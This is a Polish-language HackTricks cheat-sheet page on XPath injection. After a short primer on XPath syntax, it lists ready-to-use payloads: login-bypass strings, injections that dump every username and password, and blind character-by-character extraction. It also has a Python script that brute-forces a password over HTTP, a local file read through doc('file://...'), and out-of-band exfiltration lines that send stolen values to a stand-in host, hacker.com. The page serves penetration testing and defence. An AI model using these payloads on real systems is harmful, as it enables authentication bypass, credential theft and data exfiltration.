14 KiB
XPATH injection
{% hint style="success" %}
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się sztuczkami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.
Dołącz do HackenProof Discord serwera, aby komunikować się z doświadczonymi hackerami i łowcami bugów!
Wgląd w hacking
Zaangażuj się w treści, które zagłębiają się w emocje i wyzwania związane z hackingiem
Aktualności o hackingu w czasie rzeczywistym
Bądź na bieżąco z dynamicznym światem hackingu dzięki aktualnym wiadomościom i wglądom
Najnowsze ogłoszenia
Bądź informowany o najnowszych programach bug bounty oraz istotnych aktualizacjach platform
Dołącz do nas na Discordzie i zacznij współpracować z najlepszymi hackerami już dziś!
Podstawowa składnia
Technika ataku znana jako XPath Injection jest wykorzystywana do wykorzystania aplikacji, które tworzą zapytania XPath (XML Path Language) na podstawie danych wejściowych użytkownika, aby zapytać lub nawigować po dokumentach XML.
Opis węzłów
Wyrażenia są używane do wybierania różnych węzłów w dokumencie XML. Te wyrażenia i ich opisy są podsumowane poniżej:
- nodename: Wybierane są wszystkie węzły o nazwie "nodename".
- /: Wybór dokonywany jest z węzła głównego.
- //: Wybierane są węzły pasujące do wyboru z bieżącego węzła, niezależnie od ich lokalizacji w dokumencie.
- .: Wybierany jest bieżący węzeł.
- ..: Wybierany jest rodzic bieżącego węzła.
- @: Wybierane są atrybuty.
Przykłady XPath
Przykłady wyrażeń ścieżkowych i ich wyniki obejmują:
- bookstore: Wybierane są wszystkie węzły o nazwie "bookstore".
- /bookstore: Wybierany jest element główny bookstore. Zauważono, że absolutna ścieżka do elementu jest reprezentowana przez ścieżkę zaczynającą się od ukośnika (/).
- bookstore/book: Wybierane są wszystkie elementy book, które są dziećmi bookstore.
- //book: Wybierane są wszystkie elementy book w dokumencie, niezależnie od ich lokalizacji.
- bookstore//book: Wybierane są wszystkie elementy book, które są potomkami elementu bookstore, niezależnie od ich pozycji pod elementem bookstore.
- //@lang: Wybierane są wszystkie atrybuty o nazwie lang.
Wykorzystanie predykatów
Predykaty są używane do precyzowania wyborów:
- /bookstore/book[1]: Wybierany jest pierwszy element book będący dzieckiem elementu bookstore. Obejście dla wersji IE od 5 do 9, które indeksują pierwszy węzeł jako [0], polega na ustawieniu SelectionLanguage na XPath za pomocą JavaScript.
- /bookstore/book[last()]: Wybierany jest ostatni element book będący dzieckiem elementu bookstore.
- /bookstore/book[last()-1]: Wybierany jest przedostatni element book będący dzieckiem elementu bookstore.
- /bookstore/book[position()<3]: Wybierane są dwa pierwsze elementy book będące dziećmi elementu bookstore.
- //title[@lang]: Wybierane są wszystkie elementy title z atrybutem lang.
- //title[@lang='en']: Wybierane są wszystkie elementy title z wartością atrybutu "lang" równą "en".
- /bookstore/book[price>35.00]: Wybierane są wszystkie elementy book w bookstore z ceną większą niż 35.00.
- /bookstore/book[price>35.00]/title: Wybierane są wszystkie elementy title elementów book w bookstore z ceną większą niż 35.00.
Obsługa nieznanych węzłów
Znaki wieloznaczne są używane do dopasowywania nieznanych węzłów:
- *: Pasuje do dowolnego węzła elementu.
- @*: Pasuje do dowolnego węzła atrybutu.
- node(): Pasuje do dowolnego węzła dowolnego rodzaju.
Dalsze przykłady obejmują:
- /bookstore/*: Wybiera wszystkie węzły elementów dzieci elementu bookstore.
- //*: Wybiera wszystkie elementy w dokumencie.
- //title[@*]: Wybiera wszystkie elementy title z co najmniej jednym atrybutem dowolnego rodzaju.
Przykład
<?xml version="1.0" encoding="ISO-8859-1"?>
<data>
<user>
<name>pepe</name>
<password>peponcio</password>
<account>admin</account>
</user>
<user>
<name>mark</name>
<password>m12345</password>
<account>regular</account>
</user>
<user>
<name>fino</name>
<password>fino2</password>
<account>regular</account>
</user>
</data>
Uzyskaj dostęp do informacji
All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name
All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()
Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)
Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"
Identyfikacja i kradzież schematu
and count(/*) = 1 #root
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0
#The previous solutions are the representation of a schema like the following
#(at this stage we don't know the name of the tags, but jus the schema)
<root>
<a>
<b></b>
</a>
<c>
<d></d>
<e></e>
<f>
<h></h>
</f>
</c>
</root>
and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)
#Stealing the schema via OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
Ominięcie uwierzytelniania
Przykład zapytań:
string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';
OR obejście w użytkowniku i haśle (ta sama wartość w obu)
' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())
Select account
Select the account using the username and use one of the previous values in the password field
Wykorzystywanie wstrzyknięcia null
Username: ' or 1]%00
Podwójne OR w nazwie użytkownika lub haśle (jest ważne tylko z 1 podatnym polem)
WAŻNE: Zauważ, że "i" jest pierwszą operacją wykonaną.
Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())
Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())
Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())
Ekstrakcja ciągów
Wynik zawiera ciągi, a użytkownik może manipulować wartościami, aby wyszukiwać:
/user/username[contains(., '+VALUE+')]
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users
Blind Explotation
Uzyskaj długość wartości i wyodrębnij ją przez porównania:
' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"
substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)
... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value
Przykład Pythona
import requests, string
flag = ""
l = 0
alphabet = string.ascii_letters + string.digits + "{}_()"
for i in range(30):
r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
if ("TRUE_COND" in r.text):
l = i
break
print("[+] Password length: " + str(l))
for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
for al in alphabet:
r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
if ("TRUE_COND" in r.text):
flag += al
print("[+] Flag: " + flag)
break
Odczytaj plik
(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127
OOB Wykorzystanie
doc(concat("http://hacker.com/oob/", RESULTS))
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))
#Instead of doc() you can use the function doc-available
doc-available(concat("http://hacker.com/oob/", RESULTS))
#the doc available will respond true or false depending if the doc exists,
#user not(doc-available(...)) to invert the result if you need to
Automatyczne narzędzie
Odniesienia
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection
- https://wiki.owasp.org/index.php/Testing_for_XPath_Injection_(OTG-INPVAL-010)
- https://www.w3schools.com/xml/xpath_syntax.asp
Dołącz do HackenProof Discord, aby komunikować się z doświadczonymi hackerami i łowcami bugów!
Wgląd w Hacking
Zaangażuj się w treści, które zagłębiają się w emocje i wyzwania związane z hackingiem
Aktualności Hackingowe w Czasie Rzeczywistym
Bądź na bieżąco z dynamicznym światem hackingu dzięki aktualnym wiadomościom i wglądom
Najnowsze Ogłoszenia
Bądź informowany o najnowszych programach bug bounty oraz istotnych aktualizacjach platform
Dołącz do nas na Discord i zacznij współpracować z najlepszymi hackerami już dziś!
{% hint style="success" %}
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.